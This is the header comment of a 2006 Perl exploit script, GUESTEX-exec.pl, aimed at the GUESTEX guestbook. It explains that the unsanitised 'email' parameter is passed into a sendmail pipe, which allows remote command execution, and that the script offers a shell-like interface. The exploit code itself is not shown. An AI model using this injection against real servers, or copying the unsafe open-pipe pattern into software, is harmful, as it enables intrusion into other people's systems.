## Creator: K-sPecial (xzziroz.net) of .aware (awarenetwork.org)
|
|
## Name: GUESTEX-exec.pl
|
|
## Date: 06/07/2006
|
|
## Version: 1.00
|
|
## 1.00 (06/07/2006) - GUESTEX-exec.pl created
|
|
##
|
|
## Description: GUESTEX guestbook is vulnerable to remote code execution in how it
|
|
## handles it's 'email' parameter. $form{'email'} is used when openning a pipe to
|
|
## sendmail in this manner: open(MAIL, "$sendmail $form{'email'}) where $form{'email'}
|
|
## is not properly sanitized.
|
|
##
|
|
## Usage: specify the host and location of the script as the first argument. hosts can
|
|
## contain ports (host:port) and you CAN specify a single command to execute via the
|
|
## commandline, although if you do not you will be given a shell like interface to
|
|
## repeatedly enter commands.
